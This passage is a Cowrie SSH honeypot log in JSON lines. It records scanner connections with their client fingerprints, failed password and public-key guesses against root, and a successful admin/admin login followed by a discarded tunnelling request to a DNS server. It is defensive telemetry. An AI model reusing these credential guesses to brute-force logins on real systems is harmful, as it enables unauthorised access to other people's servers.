gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:55:45.061385Z","src_ip":"43.173.125.185","session":"ca2dd4100959","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd2026","message":"login attempt [root/Abcd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:55:45.373943Z","src_ip":"43.173.125.185","session":"ca2dd4100959","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:55:46.453134Z","src_ip":"43.173.125.185","session":"ca2dd4100959","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":59252,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf956d8d6d87","protocol":"ssh","message":"New connection: 51.250.105.222:59252 (10.17.0.5:22) [session: bf956d8d6d87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:55:58.618549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:55:58.623029Z","src_ip":"51.250.105.222","session":"bf956d8d6d87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:55:58.756702Z","src_ip":"51.250.105.222","session":"bf956d8d6d87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1987","message":"login attempt [root/1987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:55:59.155085Z","src_ip":"51.250.105.222","session":"bf956d8d6d87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:00.288956Z","src_ip":"51.250.105.222","session":"bf956d8d6d87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.2.226","src_port":41566,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fd935e777e8","protocol":"ssh","message":"New connection: 43.156.2.226:41566 (159.203.135.109:22) [session: 6fd935e777e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:13.793324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:13.797748Z","src_ip":"43.156.2.226","session":"6fd935e777e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:14.036003Z","src_ip":"43.156.2.226","session":"6fd935e777e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nadia","password":"nadia","message":"login attempt [nadia/nadia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:15.020036Z","src_ip":"43.156.2.226","session":"6fd935e777e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:16.267729Z","src_ip":"43.156.2.226","session":"6fd935e777e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":1078,"dst_ip":"10.17.0.5","dst_port":22,"session":"465667787178","protocol":"ssh","message":"New connection: 87.251.64.176:1078 (10.17.0.5:22) [session: 465667787178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:35.247805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:35.253003Z","src_ip":"87.251.64.176","session":"465667787178","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:35.352739Z","src_ip":"87.251.64.176","session":"465667787178","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:35.641370Z","src_ip":"87.251.64.176","session":"465667787178","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:35.739577Z","session":"465667787178","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:35.836429Z","src_ip":"87.251.64.176","session":"465667787178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:35.934577Z","src_ip":"87.251.64.176","session":"465667787178","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.219.133.156","src_port":57006,"dst_ip":"10.17.0.5","dst_port":22,"session":"6390d08ad71b","protocol":"ssh","message":"New connection: 185.219.133.156:57006 (10.17.0.5:22) [session: 6390d08ad71b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:43.748614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:43.753364Z","src_ip":"185.219.133.156","session":"6390d08ad71b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:43.882750Z","src_ip":"185.219.133.156","session":"6390d08ad71b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:cf:55:b0:55:61:07:11:95:db:f6:c2:a0:1a:63:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBDhUkWYbtUXKNc4XhvCnQpjh2RzVg4NV+40VVfbDaL/W+JLLqZZP3lAK66yr5r8ZJDKtb3M2WhkZ3+FO/TnD4aAzFBY8jubvz/HtAWHuv3hZtcirIzQJHTRJZ8+aXMm2ob4ymSzCmBiI/+AJTBpvF48SbKCMTX/MXl6mQkdnEB3kNMpKIryXEgD7JTd0zPgVyAHjXT/O0f7IjnrPDkRIlcfy7xHTGC8hCsgDCH9VnavM92FyowyhLlZszUpqWZdCKw5mvNk2zMZ8xHXju73Bo8jzDzl+dglZKZ6GBdHe+yN7A0upDs/+P1OyTa28PREqJBHul3+gZEk6eXrADjSux","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:cf:55:b0:55:61:07:11:95:db:f6:c2:a0:1a:63:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:44.502991Z","src_ip":"185.219.133.156","session":"6390d08ad71b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:cf:55:b0:55:61:07:11:95:db:f6:c2:a0:1a:63:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBDhUkWYbtUXKNc4XhvCnQpjh2RzVg4NV+40VVfbDaL/W+JLLqZZP3lAK66yr5r8ZJDKtb3M2WhkZ3+FO/TnD4aAzFBY8jubvz/HtAWHuv3hZtcirIzQJHTRJZ8+aXMm2ob4ymSzCmBiI/+AJTBpvF48SbKCMTX/MXl6mQkdnEB3kNMpKIryXEgD7JTd0zPgVyAHjXT/O0f7IjnrPDkRIlcfy7xHTGC8hCsgDCH9VnavM92FyowyhLlZszUpqWZdCKw5mvNk2zMZ8xHXju73Bo8jzDzl+dglZKZ6GBdHe+yN7A0upDs/+P1OyTa28PREqJBHul3+gZEk6eXrADjSux","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:44.506520Z","src_ip":"185.219.133.156","session":"6390d08ad71b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":53676,"dst_ip":"159.203.135.109","dst_port":22,"session":"a18d40303da3","protocol":"ssh","message":"New connection: 2.57.121.25:53676 (159.203.135.109:22) [session: a18d40303da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:44.608941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:44.613130Z","src_ip":"2.57.121.25","session":"a18d40303da3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:d3:31:77:33:66:f1:cd:2d:de:42:d3:bc:c3:1f:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAIht7HLUHOCYCVO30wndFOG1nr8wSCuPu/ABRGoz3vXtxEk6p+r+2HzkyEL5pIcnfD2KQS3WEh4/92QuEPqM8HZ0WUAuOHIKMUO+DSxUEQfN8rpHqbkjwkyt7hvALsc4Ze/r3OAXK3RtjFVZfYB5GFnU7BxucJiVABIS4YFGNXTpfPjYiQr1egjqUwIL/lpOPMQ0I/nudAR9NLHMQY8kIt0EeyTAHkMcaQxTggVp3Ty3JU/LSSRHrC36NXdW4EJjEFJCl8KZk6sBksPboeTU2A3s8jg4H4j3OMGaj+dfNOu9RkB1JBKczy7S/0KPaNRZadGOOj2Ut4KM/rPwkIbe1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:d3:31:77:33:66:f1:cd:2d:de:42:d3:bc:c3:1f:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:44.639402Z","src_ip":"185.219.133.156","session":"6390d08ad71b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:d3:31:77:33:66:f1:cd:2d:de:42:d3:bc:c3:1f:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAIht7HLUHOCYCVO30wndFOG1nr8wSCuPu/ABRGoz3vXtxEk6p+r+2HzkyEL5pIcnfD2KQS3WEh4/92QuEPqM8HZ0WUAuOHIKMUO+DSxUEQfN8rpHqbkjwkyt7hvALsc4Ze/r3OAXK3RtjFVZfYB5GFnU7BxucJiVABIS4YFGNXTpfPjYiQr1egjqUwIL/lpOPMQ0I/nudAR9NLHMQY8kIt0EeyTAHkMcaQxTggVp3Ty3JU/LSSRHrC36NXdW4EJjEFJCl8KZk6sBksPboeTU2A3s8jg4H4j3OMGaj+dfNOu9RkB1JBKczy7S/0KPaNRZadGOOj2Ut4KM/rPwkIbe1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:44.642726Z","src_ip":"185.219.133.156","session":"6390d08ad71b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:44.715692Z","src_ip":"2.57.121.25","session":"a18d40303da3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:27:ef:00:30:a8:4d:ec:a3:1b:e4:d4:17:d5:70:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAykvalL+j4KFynIbgqDWHfZgxDIRMJy48Bbi6zARlisSXp8O4wBaDw8jn1en7nmtACi05cbaEp0GvaSQwYrRoZMEQpyjEc9C4ohAlRB25rYPsEMKmrPhPcdeV7VDeCoTvqx71wedMPdClr3Xl5lPB2fSIaxTm4ONN+B2hHn9PjkCjKH+HvIZRn3h6jIc3IyFwym+nfanTAwfxdUVndl3rWtFOoOdATY7OGpDexmhdH3Dj/aYJz9Tb2k6M7D0CqZbCZYek+Cpu+XuO3czDmc+b5fGAN2rYf9wO28izpSU15VxyCQrCg8cHeapcbUrtKIO2XrXCm64yPntni+eE3ZlRIQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:27:ef:00:30:a8:4d:ec:a3:1b:e4:d4:17:d5:70:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:44.771209Z","src_ip":"185.219.133.156","session":"6390d08ad71b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:27:ef:00:30:a8:4d:ec:a3:1b:e4:d4:17:d5:70:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAykvalL+j4KFynIbgqDWHfZgxDIRMJy48Bbi6zARlisSXp8O4wBaDw8jn1en7nmtACi05cbaEp0GvaSQwYrRoZMEQpyjEc9C4ohAlRB25rYPsEMKmrPhPcdeV7VDeCoTvqx71wedMPdClr3Xl5lPB2fSIaxTm4ONN+B2hHn9PjkCjKH+HvIZRn3h6jIc3IyFwym+nfanTAwfxdUVndl3rWtFOoOdATY7OGpDexmhdH3Dj/aYJz9Tb2k6M7D0CqZbCZYek+Cpu+XuO3czDmc+b5fGAN2rYf9wO28izpSU15VxyCQrCg8cHeapcbUrtKIO2XrXCm64yPntni+eE3ZlRIQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:44.775192Z","src_ip":"185.219.133.156","session":"6390d08ad71b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:93:44:68:89:a0:89:de:8d:be:ec:cd:0c:37:96:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAph/qER+BiDJwLzUOOw4ffiBgQ5EOPnLa3ThkXBS+hT2nFy5bbw2sXvM0jqN/TOWASerDaxVatWgQGg15kH8Q2Ai5f/T89/KkM9qFFDxIHMBrKGDJJjurqV5RZ28zjQxxbHx53xF7+fSBu0rFvtLGj1NebDcXMJ1hVFWHAAwv678XL+OQH6nDyPkkBCgK4XijKOL84eCBLCGozOKFPAjMAzrobqXG9xJ79JnQHWCylZDBBCXRnzfB3Hl6u+eKkguwiHDOGmeczJ8/ZjftuWwDME7CZLRN/vZClMMBhSBgORzq9OixFbK77nbIIy0KXWTHqMp1/+7+MNlE/QHcPcpyGQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:93:44:68:89:a0:89:de:8d:be:ec:cd:0c:37:96:8e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:44.907132Z","src_ip":"185.219.133.156","session":"6390d08ad71b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:93:44:68:89:a0:89:de:8d:be:ec:cd:0c:37:96:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAph/qER+BiDJwLzUOOw4ffiBgQ5EOPnLa3ThkXBS+hT2nFy5bbw2sXvM0jqN/TOWASerDaxVatWgQGg15kH8Q2Ai5f/T89/KkM9qFFDxIHMBrKGDJJjurqV5RZ28zjQxxbHx53xF7+fSBu0rFvtLGj1NebDcXMJ1hVFWHAAwv678XL+OQH6nDyPkkBCgK4XijKOL84eCBLCGozOKFPAjMAzrobqXG9xJ79JnQHWCylZDBBCXRnzfB3Hl6u+eKkguwiHDOGmeczJ8/ZjftuWwDME7CZLRN/vZClMMBhSBgORzq9OixFbK77nbIIy0KXWTHqMp1/+7+MNlE/QHcPcpyGQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:44.911257Z","src_ip":"185.219.133.156","session":"6390d08ad71b","protocol":"ssh"}
